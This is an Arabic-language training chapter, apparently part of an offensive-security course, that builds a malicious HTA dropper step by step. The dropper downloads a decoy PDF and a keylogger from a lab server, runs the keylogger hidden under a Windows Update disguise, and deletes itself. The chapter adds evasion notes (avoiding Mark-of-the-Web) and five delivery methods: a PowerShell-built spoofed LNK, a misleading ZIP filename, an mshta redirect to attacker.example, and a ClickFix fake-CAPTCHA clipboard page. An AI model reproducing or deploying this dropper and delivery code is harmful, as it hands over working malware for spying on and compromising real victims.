🐛 إصلاحات نسبة إلى نسخة PDFالإصلاح 1، طريقة تخريج الاقتباس في cmd /c: النسخة القديمة استخدمت \\" (تخريج على أسلوب JScript يعطي \" لـ cmd). لكن cmd لا يفسّر \" كتخريج، يعامله كحرفين حرفيين. النتيجة: يفشل مع أي مسار فيه مسافة. محاولة إصلاح لاحقة جرّبت "" (تكرار الاقتباس) — اختُبرت ولا تعمل مع المسافات في المسار: del ""C:\has space\x.hta"" تكسر عند أوّل مسافة. الصحيح: اقتباس واحد حول المسار (del "PATH"). قاعدة cmd /c "..." تُزيل أوّل " وآخر " من السطر ثم تُنفّذ الباقي كأمر — فيصل del "PATH" نظيفاً وتُقتبس المسافات صحّياً. الإصلاح 2، فاصل المسار:location.pathname يعطي مسارا بـ / (مثل /C:/Users/x/file.hta). أضفنا .replace(/\//g, "\\") قبل تمرير المسار إلى del. الإصلاح 3، توافق إصدارات mshta: بعض إصدارات Windows (مثل 11 24H2) تعيد location.pathname بصيغة C:\Users\x\file.hta مباشرة (بلا / بادئة). استخدام .substring(1) الثابت كان يقصّ حرف C فيُنتج مساراً مكسوراً :\Users\.... الإصلاح: نفحص charAt(0) أوّلاً ونقصّ / فقط إن وُجدت.
🧪 التكرار 6: إضافة Decoy PDF + الحمولة النهائية
الضحية نقرت على شيء يبدو ملف PDF، اسمه Q4-Report.pdf.hta وأيقونته أيقونة PDF.
لكن بعد النقر:
لا يفتح شيء
الضحية تنتظر ثانيتين
ثم ترى أن النافذة اختفت
هذا يثير الشك. الحل: قبل أن نخفي أنفسنا، نفتح PDF حقيقيا للضحية.
<html><head><title>Windows Update</title><HTA:APPLICATIONID="app"WINDOWSTATE="minimize"SHOWINTASKBAR="no"SINGLEINSTANCE="yes"APPLICATIONNAME="WindowsUpdateAgent"/><scriptlanguage="JScript">
// ── CONFIG ────────────────────────────────────────────────
var C2_URL = "http://10.10.10.10:8000/keylogger_edu.exe";
var DECOY_URL = "http://10.10.10.10:8000/Q4-report.pdf";
var DROP_DIR = "%APPDATA%\\Microsoft\\Windows\\Update";
var DROP_NAME = "wmupdate.exe";
var DECOY_LOCAL = "%TEMP%\\Q4-report.pdf";
// ── HELPERS ───────────────────────────────────────────────
function shellExpand(p) {
return new ActiveXObject("WScript.Shell")
.ExpandEnvironmentStrings(p);
}
function ensureDir(path) {
var fso = new ActiveXObject("Scripting.FileSystemObject");
var parts = path.split("\\");
var cur = parts[0];
for (var i = 1; i < parts.length; i++) {
cur += "\\" + parts[i];
if (cur.length > 3 && !fso.FolderExists(cur)) {
try { fso.CreateFolder(cur); } catch(e) {}
}
}
}
function downloadTo(url, outPath) {
var http = new ActiveXObject("MSXML2.XMLHTTP.6.0");
http.open("GET", url, false);
http.send();
if (http.status != 200) return false;
var stream = new ActiveXObject("ADODB.Stream");
stream.Type = 1;
stream.Open();
stream.Write(http.responseBody);
stream.SaveToFile(outPath, 2);
stream.Close();
return true;
}
function runHidden(cmd) {
new ActiveXObject("WScript.Shell").Run(cmd, 0, false);
}
function selfDelete() {
var raw = decodeURIComponent(location.pathname);
if (raw.charAt(0) === "/") raw = raw.substring(1);
var me = raw.replace(/\//g, "\\");
// cmd /c "..." — اقتباس واحد حول المسار.
// قاعدة cmd /c: يُزيل أوّل " وآخر " من السطر ثم ينفّذ الباقي.
// فيصل المسار مُقتبَساً كاملاً إلى del — تعمل مع المسافات في المسار.
var cmd = 'cmd.exe /c "timeout /t 2 /nobreak >nul & del "'
+ me + '""';
runHidden(cmd);
}
// ── MAIN ──────────────────────────────────────────────────
window.onload = function() {
var shell = new ActiveXObject("WScript.Shell");
var decoyPath = shell.ExpandEnvironmentStrings(DECOY_LOCAL);
var dropDir = shell.ExpandEnvironmentStrings(DROP_DIR);
var payload = dropDir + "\\" + DROP_NAME;
// (1) الطعم — انزله وافتحه للضحية (windowStyle=1 = normal)
if (downloadTo(DECOY_URL, decoyPath)) {
shell.Run('"' + decoyPath + '"', 1, false);
}
// (2) الحمولة الحقيقية — انزلها وشغلها خفية
ensureDir(dropDir);
if (downloadTo(C2_URL, payload)) {
runHidden('"' + payload + '"');
}
// (3) امسح الأثر
selfDelete();
window.close();
};
</script></head><body></body></html>
تجربة المستخدم النهائية:
الضحية تنقر على Q4-Report.pdf.hta (يبدو PDF بأيقونة PDF).
تفتح نافذة Adobe Reader، ترى تقريرا Q4 حقيقيا.
في الخلفية: الـ Keylogger نزل إلى %APPDATA% وشغّل بلا نافذة.
الـ HTA نفسه اختفى (selfDelete).
الضحية تتصفح الـ PDF بشكل طبيعي، لا شك بشيء.
المهاجم يبدأ استلام بيانات الـ Keylogger.
مرجع مفصّل: كلمات ومكتبات القسم 4 و ملحق أ
هذا المرجع يقرأ الكود سطرا سطرا. أولا نمشي مع التكرارات الستة ونذكر ما الجديد فقط في كل تكرار، ثم يأتي المرجع التفصيلي الذي يشرح كل عنصر متكرر (خصائص HTA:APPLICATION، ActiveXObject، WScript.Shell، FileSystemObject، MSXML2.XMLHTTP، ADODB.Stream، location.pathname، تخريج cmd، إلخ) شرحا وافيا مرة واحدة.
التكرار 1: الجديد
هذا هو الحد الأدنى المطلق لملف HTA. لا يوجد كود JScript على الإطلاق، فقط HTML + وسم <HTA:APPLICATION> واحد.
العنصر
الجديد هنا
لماذا
<html>...<head>...<body>
هيكل HTML قياسي
mshta.exe يعامل الملف كصفحة HTML بالكامل ثم يحقن قدرات ActiveX
<HTA:APPLICATION>
الوسم الفارق بين HTML عادي و HTA
وجوده وحده يخبر mshta أن هذا "تطبيق سطح مكتب" فتُفتح كل قيود المتصفح
ID="app"
معرّف داخلي للوسم
تستطيع الوصول للوسم من JScript بـ document.getElementById("app") أو مباشرة عبر الاسم المعرّف (app.commandLine مثلا)
WINDOWSTATE="normal"
تظهر نافذة عادية
الغاية التعليمية هنا هي رؤية النافذة للتأكد أن mshta يعمل
الجسم يحتوي عبارة "Hello from HTA" ليعطي تأكيدا بصريا. لا script = لا حمولة، الملف كله غير مؤذٍ.
التكرار 2: الجديد
الجديد كله في اتجاهين: (أ) إخفاء النافذة، (ب) بدء تشغيل كود JScript عبر حدث تحميل الصفحة.
العنصر
الجديد
السلوك
WINDOWSTATE="minimize"
تغيّرت من normal
النافذة تُنشأ مصغّرة: الضحية ترى وميضا فقط
SHOWINTASKBAR="no"
سمة جديدة
لا أيقونة في شريط المهام حتى لا يُشكّك المستخدم
<script language="JScript">
أول كتلة كود
language="JScript" (وليس type="text/javascript"): يفرض محرك JScript الكلاسيكي (ES3)
window.onload = function() {...}
نقطة الدخول
نؤجل التنفيذ حتى تتحمّل نافذة HTA بالكامل: لو نفّذنا في المستوى الأعلى، ActiveX قد يفشل قبل تجهيز الـ DOM
new ActiveXObject("WScript.Shell")
أول استدعاء COM
ينشئ كائن WScript.Shell: بوابة إلى الصدفة (تشغيل، سجل، متغيرات بيئة)
.Popup(text, secondsToWait, title, type)
دالة جديدة
تعرض مربع رسالة يختفي تلقائيا بعد secondsToWait ثوان (هنا 2). type=64 = أيقونة معلومات (i زرقاء)
window.close()
إنهاء الـ HTA
mshta.exe يخرج فور إغلاق النافذة الأخيرة: بدون هذا يبقى في الذاكرة
التكرار 3: الجديد
تُستبدل رسالة Popup بأول تشغيل برنامج فعلي.
العنصر
الجديد
شرح
shell.Run(command, windowStyle, waitOnReturn)
دالة Run من WScript.Shell
تشغّل أي أمر (ملف تنفيذي، سطر cmd، رابط، اختصار)
windowStyle = 0
قيمة "خفي"
النافذة لا تظهر أبدا: أهم قيمة للمهاجم
waitOnReturn = false
عدم الانتظار
Run يعود فورا؛ لو كانت true لتجمّدت نافذة HTA بانتظار انتهاء calc.exe: ثم يفشل window.close() في الوقت المناسب
لا تغيير على وسم HTA:APPLICATION أو بنية window.onload.
التكرار 4: الجديد
أول تكرار يلمس الشبكة والقرص. يضيف ثلاث قدرات ActiveX جديدة موزّعة على دالة downloadTo واحدة، بالإضافة إلى دالة ExpandEnvironmentStrings.
العنصر
الجديد
دوره في السلسلة
function downloadTo(url, outPath)
أول دالة مساعدة
تفصل منطق التنزيل عن المنطق الرئيسي
new ActiveXObject("MSXML2.XMLHTTP.6.0")
عميل HTTP
.6.0 يفرض إصدار MSXML الحديث (يقبل TLS 1.2 والإصدارات الحديثة من الشهادات)
http.open("GET", url, false)
تهيئة الطلب
false = متزامن (sync)؛ داخل HTA هذا مقبول لأن الـ UI مخفي أصلا
http.send()
إطلاق الطلب
يُوقف الخيط حتى يعود الردّ (بسبب sync)
http.status
رمز الحالة
نتحقق أنه 200 قبل الكتابة على القرص: يمنع كتابة صفحة خطأ HTML بدل الحمولة
http.responseBody
البيانات كـ SAFEARRAY of bytes
ليست نصا: responseText سيُفسد الـ EXE بترميز UTF-8
new ActiveXObject("ADODB.Stream")
تدفّق IO ثنائي
الأداة الوحيدة في JScript لكتابة bytes خامّة على القرص
stream.Type = 1
adTypeBinary
يجب ضبطها قبل Open()، وإلا يعامل الكائن التدفق كنص
stream.Open()
فتح المخزن في الذاكرة
لا يُنشئ ملفا بعد: فقط buffer
stream.Write(bytes)
كتابة SAFEARRAY
يقبل responseBody مباشرة
stream.SaveToFile(path, 2)
كتابة على القرص
2 = adSaveCreateOverWrite: يُنشئ الملف أو يستبدل الموجود
stream.Close()
تحرير الذاكرة
مهم: الملف يبقى مفتوحا بلا هذا
shell.ExpandEnvironmentStrings("%APPDATA%\\...")
تحويل متغيرات البيئة
JScript لا يعرف %APPDATA%؛ نُمرّرها لـ Windows ليعيدها كمسار مُوسَّع فعلي مثل C:\Users\alice\AppData\Roaming\...
لا تغيير على وسم HTA:APPLICATION. الحمولة هنا مجرد إثبات مفهوم: تكتب ملف test.bin في %APPDATA%\Microsoft.
التكرار 5: الجديد
هذا التكرار يجمع الأدوات في حمولة كاملة ويضيف أربع قدرات جديدة: ضمان وجود المجلد، تشغيل خفي مُغلّف في دالة، حذف ذاتي للـ HTA، وسمتان جديدتان في HTA:APPLICATION.
العنصر
الجديد
شرح
SINGLEINSTANCE="yes"
سمة جديدة
لو نُقر الملف مرتين، لا تُفتح نسخة ثانية: يمنع سباق العمليات وتكرار التنزيل
APPLICATIONNAME="WindowsUpdateAgent"
سمة جديدة
الاسم الذي يظهر في Task Manager تحت عمود "Process Name": تمويه بصري
var C2_URL = "...", DROP_DIR, DROP_NAME
ثوابت في الأعلى
نمط Config block: تسهيل التعديل بلا لمس المنطق
function shellExpand(p)
تغليف ExpandEnvironmentStrings
تنقية النمط: استدعاء أقصر مما في التكرار 4
function ensureDir(path)
دالة جديدة كليا
تُنشئ سلسلة المجلدات المفقودة: لأن Microsoft\Windows\Update غير موجود افتراضيا
new ActiveXObject("Scripting.FileSystemObject")
كائن FSO جديد
واجهة قراءة/كتابة الملفات والمجلدات
fso.FolderExists(cur)
فحص وجود مجلد
تجنّب استثناء "المجلد موجود"
fso.CreateFolder(cur)
إنشاء مجلد
لا ينشئ الآباء تلقائيا: لهذا نحتاج الحلقة
path.split("\\") + cur.length > 3
نمط بناء تراكمي
نفصل المسار على \ ثم نعيد بناءه خطوة بخطوة. الشرط > 3 يتخطى الجذر ("C:" أو "C:\") لأن FolderExists("C:") قد يعطي false وإنشاؤه فاشل
try { ... } catch(e) {}
ابتلاع صامت للأخطاء
لو فشلت CreateFolder (سباق، صلاحيات) نستمر بلا كسر: الغرض "بذل الجهد الأفضل"
function runHidden(cmd)
تغليف Run(cmd, 0, false)
وضوح النية عند القراءة
function selfDelete()
دالة جديدة
تحذف ملف الـ HTA نفسه بعد ثانيتين: لتقليل الأثر الجنائي
location.pathname
خاصية DOM قياسية
داخل HTA تعود بصيغة /C:/Users/x/file.hta: لاحظ الشرطة البادئة والفواصل /
.substring(1)
قصّ الشرطة البادئة
تُحوّل /C:/... إلى C:/...
decodeURIComponent(...)
فك ترميز URL
يعيد المسافات (%20) والأحرف العربية إلى شكلها الأصلي: بدونه del يفشل مع اسم My Documents
.replace(/\//g, "\\")
تحويل / إلى \
del من cmd يقبل / نظريا لكن يخلطها مع مفاتيح الأوامر (/f, /s): نطبّع للأمان
'cmd.exe /c "timeout /t 2 /nobreak >nul & del "' + me + '""'
اقتباس واحد حول المسار + الاعتماد على قاعدة cmd /c في تجريد الاقتباس الخارجيّ
شرحه في المرجع أدناه. المحاولة السابقة ""..."" تُكسر عند أوّل مسافة في المسار (اختُبرت)
timeout /t 2 /nobreak >nul
تأخير عملي
يعطي HTA وقتا لينهي window.close() قبل محاولة الحذف: لا حاجة لـ setTimeout في JScript
استدعاء selfDelete() قبل window.close()
ترتيب مقصود
Run يُطلق العملية الفرعية أولا ثم HTA يغلق نفسه: الأمر الفرعي ينتظر ثانيتين ثم يحذف
التكرار 6: الجديد
يضيف طُعم PDF لتحسين الغطاء النفسي، الضحية ترى فعلا "شيئا حصل".
العنصر
الجديد
شرح
var DECOY_URL, var DECOY_LOCAL
ثابتان جديدان
عنوان PDF على خادم المهاجم + مسار محلي في %TEMP%
تنزيل الطُعم بـ download(DECOY_URL, decoyPath)
استخدام ثان للدالة
نفس دالة download من التكرار 5
shell.Run('"' + decoyPath + '"', 1, false)
windowStyle = 1 بدلا من 0
1 = نافذة عادية مرئية: Adobe Reader يفتح ويعرض PDF
الاقتباس '"' + path + '"'
نمط تغليف بالمسار
نضع "..." حول المسار لأن %TEMP% قد يحتوي مسافات (اسم مستخدم مركّب)
ترتيب الخطوات: طُعم → حمولة → حذف
تسلسل نفسي
الضحية ترى PDF أولا فتنشغل به بينما تنزل الحمولة في الخلفية
لا تغيير على وسم HTA:APPLICATION ولا على الدوال المساعدة، فقط منطق MAIN توسّع.
ملحق أ (payload.hta): الجديد فوق التكرار 6
نفس منطق التكرار 6، لكن وسم HTA:APPLICATION مُتوّج بكل السمات الممكنة للتخفّي التام:
العنصر
الجديد
شرح
ID="objHTA"
معرّف صريح
تسمية أوضح للتتبع في JScript لو احتجناها لاحقا
APPLICATIONNAME="WindowsUpdateAgent"
موجود منذ التكرار 5
تمويه في Task Manager
BORDER="none"
سمة جديدة
لا إطار نافذة: لو ظهرت للحظة تبدو شريط نظام أكثر منها تطبيقا
SCROLL="no"
سمة جديدة
لا أشرطة تمرير: سطح نظيف بلا آثار متصفح
SHOWINTASKBAR="no"
من قبل
لا أيقونة شريط مهام
SINGLEINSTANCE="yes"
من قبل
نسخة واحدة فقط
WINDOWSTATE="minimize"
من قبل
مصغّرة عند البدء
download بدل downloadTo
تغيير اسم فقط
نفس الدالة، اسم أقصر
sh بدل shell
تغيير اسم فقط
نفس الكائن
لا قدرات تقنية جديدة في الملحق، التغيير كله تجميلي/تمويهي.
المرجع التفصيلي (لكل الكود المتكرّر)
1) وسم <HTA:APPLICATION>: كل سمة على حدة
السمة
القيمة عندنا
ماذا تعني
ماذا يحدث لو غيّرناها
ID
"objHTA" / "app"
معرّف يمكن الوصول للوسم عبره من JScript مثل app.commandLine. اختياري
لو حُذفت: يبقى الـ HTA يعمل لكن لا تستطيع قراءة سماته برمجيا
APPLICATIONNAME
"WindowsUpdateAgent"
الاسم الذي يظهر في Task Manager ويستخدمه SINGLEINSTANCE للتمييز
لو حُذف: يظهر اسم عام مثل mshta.exe (32 bit) بلا تخصيص
BORDER
"none" (ملحق) / "thin" (افتراضي)
شكل حدود النافذة: thick/thin/none/dialog
thick: زوايا سميكة قابلة لتغيير الحجم؛ none: تختفي كل ديكورات النافذة (لا يمكن سحبها)
SCROLL
"no"
هل تظهر أشرطة التمرير: yes/no/auto
yes: يظهر شريط تمرير حتى لو لم يُحتج: يفضح الطبيعة HTML
SHOWINTASKBAR
"no"
هل تظهر أيقونة في شريط المهام
yes (الافتراضي): تظهر: الضحية تلاحظ. لا يؤثر على وجود العملية في Task Manager
SINGLEINSTANCE
"yes"
هل يُسمح بأكثر من نسخة
no: كل نقرة تفتح نسخة جديدة: سباق تنزيل ومسار حذف ذاتي كارثي
path.split("\\") على "C:\\Users\\x\\y" يعطي ["C:", "Users", "x", "y"]. أول تكرار cur = "C:"، طولها 2. لو استدعينا FolderExists("C:") فقد تعود false على بعض الأنظمة، ثم نحاول CreateFolder("C:")، استثناء "مسار غير صالح". الشرط length > 3 يعني: تخطّى أي شيء ≤ "C:\" (طول 3). نبدأ فقط من "C:\Users" وما بعده.
7) MSXML2.XMLHTTP.6.0: عميل HTTP
العضو
دور
open(method, url, async)
method: "GET"/"POST". async=false = متزامن. الأخير هام
setRequestHeader(name, value)
رؤوس مخصّصة (User-Agent مثلا)
send([body])
إطلاق. مع POST نمرّر جسما
status
رقم HTTP. نتحقق == 200
statusText
نص الحالة ("OK")
responseBody
SAFEARRAY of unsigned bytes: للثنائيات فقط، يُمرَّر مباشرة لـ ADODB.Stream.Write
responseText
نص مُفكّك بترميز (يُخرّب الثنائيات)
responseXML
DOMDocument لو الرد XML
getAllResponseHeaders()
كل الرؤوس
لماذا 6.0 بالتحديد؟
.6.0 = MSXML6، الإصدار الوحيد الذي يدعم TLS 1.2+ على Windows 10/11.
الإصدارات القديمة (MSXML3, Microsoft.XMLHTTP) قد تفاوض SSL 3.0/TLS 1.0 وتُرفض من خوادم 2026.
.6.0 مُثبّت افتراضيا على كل Windows منذ Vista SP1.
1 = adTypeBinary (bytes)؛ 2 = adTypeText (Unicode). يجب ضبطه قبل Open()
Charset
لتدفقات النص فقط: "utf-8", "utf-16"
Open()
تهيئة buffer في الذاكرة: لا ملف بعد
Write(bytes)
كتابة SAFEARRAY (لثنائي)
WriteText(s)
كتابة نص (لنصّي)
Position
مؤشر القراءة/الكتابة داخل الـ buffer
Read([n]) / ReadText([n])
قراءة
SaveToFile(path, saveOptions)
تفريغ الـ buffer إلى ملف على القرص
LoadFromFile(path)
العكس
Close()
إغلاق وتحرير
SaveToFile، قيم saveOptions:
القيمة
الاسم
السلوك
1
adSaveCreateNotExist
يفشل لو الملف موجود
2
adSaveCreateOverWrite
يستبدل: ما نستخدمه
فارق حاسم:ADODB.Stream.SaveToFileلا يضع Zone.Identifier على الملف الجديد. ملف نازل عبر متصفح يحمل MOTW (Zone.Identifier: 3) فيفعّل SmartScreen عند التشغيل. ملفنا يظهر كأنه مصنوع محليا، نقطة قوة هجومية.
9) location.pathname داخل HTA: سلوك خاص
في متصفح عادي: location.pathname = مسار URL (/index.html).
داخل HTA مفتوح من الملفات: السلوك يختلف بين إصدارات Windows: — بعض إصدارات mshta تعيد بصيغة URL: /C:/Users/alice/Downloads/payload.hta (شرطة / بادئة + فواصل /) — بعضها (Windows 11 24H2 مثلاً) تعيد بصيغة Windows مباشرة: C:\Users\alice\Downloads\payload.hta — في كلتا الحالتين المحارف الخاصة مُرمّزة URL (%20 للمسافة)
لذا سلسلة التحويل الآمنة التي تعمل في كلتا الحالتين: — decodeURIComponent(...) → يفكّ %20 والأحرف العربية إلى شكل مقروء — if (raw.charAt(0) === "/") raw = raw.substring(1) → يقص الشرطة البادئة فقط إن وُجدت — .replace(/\//g, "\\") → يبدّل كل / إلى \ لينسجم مع cmd
UNC (\\server\share) يعود بصيغة //server/share/...، بعد الفحص charAt(0)==="/" يُقصّ شرطة واحدة فيبقى /server/share\... — ما زال مكسوراً. لهذا الحمولة تُرشد الاستخدام المحلي فقط.
10) cmd /c "...": القاعدة الحقيقيّة والتخريج الصحيح
ماذا يفعل cmd /c "..." بالاقتباسات فعلاً
من وثائق مايكروسوفت (cmd /?، قاعدة 2): إن بدأ ما بعد /c بـ "، فإنّ cmdيُزيل أوّل " وآخر " فقط ثم يُنفّذ الباقي كأمر. لا يُغيّر شيئاً بين الاثنين.
هذا يعني: كلّ ما بداخل "..." الخارجيّة يُمرَّر كما هو إلى cmd، بما فيه علامات التنصيص الداخليّة.
فيمكننا وضع "PATH" كامل داخل الأمر، ويصل إلى del مُقتبساً كاملاً، وتُقبل المسافات فيه.
و بعد تطبيق قاعدة 2 من cmd /c (إزالة أوّل " وآخر "):
text
timeout /t 2 /nobreak >nul & del "C:\My Docs\payload.hta"
del تحصل على "C:\My Docs\payload.hta" مُقتبساً كاملاً، فتحذف الملف بلا مشكلة مسافات.
لماذا \" (الأسلوب الشائع في JScript) لا يعمل
\" في JScript يُنتج حرف " واحد داخل السلسلة النهائيّة.
لأنّه نفس عدد الأحرف، السلسلة الناتجة مطابقة للنسخة الصحيحة أعلاه — إذا استعملت \" مع نفس عدد الاقتباسات، النتيجة صحيحة.
المشكلة الأصليّة في نسخة PDF لم تكن أنّ \" لا يعمل، بل أنّ عدد الاقتباسات كان خاطئاً (لم نضع اقتباساً حول المسار). أيّ من الأسلوبين يعمل ما دام عدد الاقتباسات صحيحاً.
لماذا "" (تكرار الاقتباس) اختبرناه ولا يعمل
محاولة إصلاح لاحقة استعملت "" (تكرار الاقتباس) بافتراض أنّه تخريج قياسيّ داخل cmd /c.
نتيجة الاختبار على Windows 11: مع مسار بلا مسافات يعمل بالمصادفة (لأنّ ""..."" بلا مسافات يتحوّل إلى token واحد يقبله del)، ومع مسار فيه مسافة يفشل صامتاً (يُكسر عند أوّل مسافة).
الدرس: لا تُصدّق الإصلاح الذي لم تختبره على مسار فيه مسافة.
11) window.close(): هل هو كافٍ
window.close() يُنهي عملية mshta.exe الحاضنة.
لو حُذف: HTA يبقى مفتوحا (مصغّرا)، عملية mshta.exe تظل في Task Manager، ذيل جنائي.
لو استُدعي قبلRun(...) غير المتزامنة: العملية الفرعية أُطلقت قبلا فتستمر، لكن الأفضل استدعاؤه أخيرا.
لا يقتل العمليات الفرعية، الحمولة تعمل بعده باستقلال.
12) try / catch(e) {}: البلع الصامت
JScript يرمي استثناءات على أخطاء COM (مثل CreateFolder لمجلد موجود).
catch(e) {} بجسم فارغ = "تجاهل تماما".
عمليا يعني: لا تكسر السلسلة. إن فشل جزء، الأجزاء التالية تحاول.
عيبه الدفاعي: يخفي أعطالا حقيقية. عيبه الهجومي: نفسه، قد يظن المهاجم أن كل شيء عمل بينما فشلت خطوة. لهذا يُستخدم فقط حيث الفشل مقبول (المجلد موجود سلفا).
13) setTimeout: لماذا لا نستخدمه
setTimeout متوفّر في HTA نظريا لكن يحتاج HTA بقاء حيا حتى ينفّذ الاستدعاء المؤجّل.
نحن نريد HTA يغلق نفسه، ثم بعد 2 ثانية يُحذف الملف. لو استخدمنا setTimeout(deleteFile, 2000) ثم window.close(): close يقتل الخيط قبل انطلاق المؤقّت.
الحل: نُفوّض التأخير لعملية خارجية، cmd.exe /c "timeout /t 2 & del ...". timeout أمر Windows مبني يعطي تأخيرا حقيقيا مستقلا عن HTA.
بديل قديم: ping 127.0.0.1 -n 3 >nul (يعطي تأخير ~2 ثانية). timeout أنظف منذ Windows 7.
كل هذا في < 2 KB من النص، بدون ملف .exe مصنوع من المهاجم، وبدون أي مكتبة خارجية، استغلال كامل لما يوفّره Windows نفسه لأي HTA مفتوح.
✅ اختبر نفسك: القسم 4
رتّب التكرارات الستة حسب ما يضيفه كلٌّ منها. ما القدرة الجديدة التي أُضيفت في كل خطوة؟
ما دور XMLHTTP وما دور ADODB.Stream في التكرار 4؟ لماذا لا يكفي أحدهما وحده؟
في التكرار 5 نحفظ الحمولة في %APPDATA%. لماذا هذا المجلد تحديداً وليس C:\Program Files؟
ما وظيفة الطُعم (decoy) في التكرار 6؟ ولماذا نفتحه قبل تشغيل الحمولة وليس بعدها؟
لو حذفت سطر إغلاق النافذة من التكرار 2، ماذا يلاحظ الضحية؟
4/5 = تابع. أقل = أعد بناء التكرارات 4 و 5 سطراً سطراً.
القسم 5القسم 5: طرق التوصيل: كيف يصل HTA للضحية
امتداد .hta مثير للشك في 2026. المتصفحات الحديثة تحذّر أو تحجب تحميله. Gmail يمنع المرفقات بهذا الامتداد. سنستعرض خمس طرق مرتّبة من الأسهل للأذكى.
الطريقة 1: رابط إنترنت مباشر (السذاجة الأولى)
المهاجم يستضيف الـ HTA على خادم ويب ويرسل الرابط في بريد تصيدي.
bash
# على الـ Attacker VM:
sudo cp ~/lab/hta/06-decoy.hta /var/www/html/Q4-Report.hta
sudo systemctl reload nginx
# في بريد الضحية:# انقر هنا لمراجعة تقرير Q4:# https://updates.corp-notes.test/Q4-Report.hta
المشكلة في 2026:Chrome 100+ و Edge 100+ يظهران تحذيرا واضحا: "This file may be unsafe". النسبة النجاح ~15-25% حسب دراسات صيد الخيل الحديثة.
الطريقة 2: LNK يشير إلى mshta URL (الأكثر فعالية)
الضحية تستلم ملف .lnk بدلا من .hta. الاختصار يبدو ملفا شرعيا (يمكن أن يحمل أي أيقونة)، لكن هدفه: تشغيل mshta.exe مع URL خبيث. لا حاجة لتحميل الـ HTA، mshta يجلبه مباشرة.
صنع LNK من PowerShell (بلا مكتبات إضافية، الأكثر موثوقية):
powershell
# احفظ هذا كـ create-lnk.ps1 وشغّله من PowerShell عادي (لا يحتاج Admin):$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$env:USERPROFILE\Desktop\Q4-Report.lnk")
$Shortcut.TargetPath = "$env:SystemRoot\System32\mshta.exe"$Shortcut.Arguments = "https://updates.corp-notes.test/x.hta"$Shortcut.IconLocation = "$env:ProgramFiles\Adobe\Acrobat DC\Acrobat\Acrobat.exe,0"$Shortcut.Description = "Q4 Financial Report - Confidential"$Shortcut.WorkingDirectory = "$env:USERPROFILE"$Shortcut.WindowStyle = 7# 7 = Minimized$Shortcut.Save()
Write-Host"✓ Created Q4-Report.lnk on Desktop"
بديل، من WSL Ubuntu باستخدام pylnk3 (إن كنت مضطرا):
bash
# ملاحظة: pylnk3 API متغير بين النسخ. الأضمن استخدام PowerShell أعلاه.
pip3 install pylnk3
python3 <<'PYEOF'
import pylnk3
# API يختلف حسب نسخة pylnk3؛ راجع pylnk3.__version__# النسخ الحديثة (>= 0.4):
lnk = pylnk3.create('/mnt/c/Users/attacker/Desktop/Q4-Report.lnk')
lnk.relative_path = r'C:\Windows\System32\mshta.exe'
lnk.arguments = 'https://updates.corp-notes.test/x.hta'
lnk.description = 'Q4 Financial Report'lnk.save()
PYEOF
لماذا هذه فعالة أكثر:Windows Explorer يعرض أيقونة Adobe Reader (Icon spoofing). امتداد .lnk مخفي افتراضيا، الضحية ترى "Q4-Report" فقط. Gmail يقبل .lnk في ZIP. عند النقر: Windows يشغّل mshta بلا سؤال (mshta برنامج داخلي موقع). النسبة النجاح ترتفع إلى 40-60%.
الطريقة 3: HTML صفحة تحمل mshta:// protocol handler (تاريخية)
خدعة جميلة نظريا لكن مايكروسوفت أضعفتها كثيرا بعد 2010، وفي 2026 معطلة كليا في Chrome/Edge/Firefox. لا تصلح للاستخدام الحقيقي، لكن جيدة كمعرفة تاريخية:
html
<!-- attacker.html — لا تعمل على المتصفحات الحديثة --><script>
window.location = "mshta:https://attacker.example/x.hta";
</script>
IE 6-9 على XP كانت تنفذ هذا فعليا. اليوم: Chrome/Edge يتجاهلون الـ protocol handler ما لم يكن مسجلا في Registry. النسبة النجاح: <5%.
الطريقة 4: الـ HTA داخل ZIP مع اسم مضلل
بعد أن مايكروسوفت أغلقت ثغرة MOTW في نوفمبر 2022، الملفات داخل ZIP أصبحت ترث علامة الويب. لكن الحيلة: امتداد مضلل داخل ZIP. Windows Explorer يقص الاسم في العرض ويظهر Q4-Report.pdf فقط.
bash
# على WSL:mkdir-p /tmp/pack
# اسم فيه مسافات كثيرة قبل الامتداد الحقيقي:cp ~/lab/hta/06-decoy.hta \
"/tmp/pack/Q4-Report.pdf .hta"cd /tmp/pack
zip-r /tmp/Documents.zip .
# ارسل Documents.zip بالبريد.# على الضحية: تفتح الـ zip، ترى Q4-Report.pdf، تنقر مرتين، ينفذ mshta.
النسبة النجاح: 30-45%. سلبيتها: 7-Zip 22+ تحذّر من الأسماء المشبوهة.
الطريقة 5: الحيلة الحديثة: ClickFix (سابقة الفصل: درس المحاضرة 4)
أحدث طرق الهجوم في 2024-2026. بدل تسليم ملف، نطلب من الضحية أن تنفذ mshta بنفسها. صفحة إنترنت تعرض CAPTCHA مزيفة:
html
<!-- fake-captcha.html --><html><head><style>body{font-family:Segoe UI;padding:40px;text-align:center;}</style></head><body><h2>To verify you are human, please:</h2><olstyle="text-align:left;max-width:400px;margin:auto;"><li>Press <kbd>Win + R</kbd> on your keyboard</li><li>Press <kbd>Ctrl + V</kbd> to paste</li><li>Press <kbd>Enter</kbd></li></ol><script>
// نسخ الأمر تلقائيا إلى الحافظة عند تحميل الصفحة
var cmd = "mshta https://updates.corp-notes.test/x.hta # \u2713 Not a robot";
navigator.clipboard.writeText(cmd);
</script></body></html>
⚠️ لماذا ClickFix أسوأ كوابيس المدافع المستخدم نفسه فتح Win+R وشغّل الأمر بيديه. النتيجة على النظام: - لا يوجد ملف .hta على القرص أصلا - لا يوجد ملف تنزيل مشبوه في Downloads - SmartScreen لا يرى شيئا - Windows Defender لا يرى شيئا إلا لحظة إنشاء wmupdate.exe الحماية الوحيدة الفعّالة: الوعي البشري. حسب Microsoft Digital Defense Report 2025: 47% من الوصول الأولي في 2025 كان عبر ClickFix.
مرجع تفصيلي: القسم 5: طرق التوصيل الخمس
هذا المرجع يشرح كل سطر أمر وكل كتلة كود في القسم 5 خطوة بخطوة، بلغة مبسطة للمبتدئين. المصطلحات التقنية الإنجليزية (أسماء الأوامر، الدوال، المتغيرات، مسارات الأنظمة) تُترك كما هي لأنها هوية تقنية لا تُترجم.
شرح sudo cp ~/lab/hta/06-decoy.hta /var/www/html/Q4-Report.hta
sudo: "Super User DO". ينفّذ الأمر بصلاحيات الجذر root. مطلوب هنا لأن /var/www/html/ مملوك لـ root ولا يمكن للمستخدم العادي الكتابة فيه.
cp: "copy". أمر POSIX للنسخ.
~/lab/hta/06-decoy.hta: المصدر. ~ اختصار لمجلد المستخدم ($HOME).
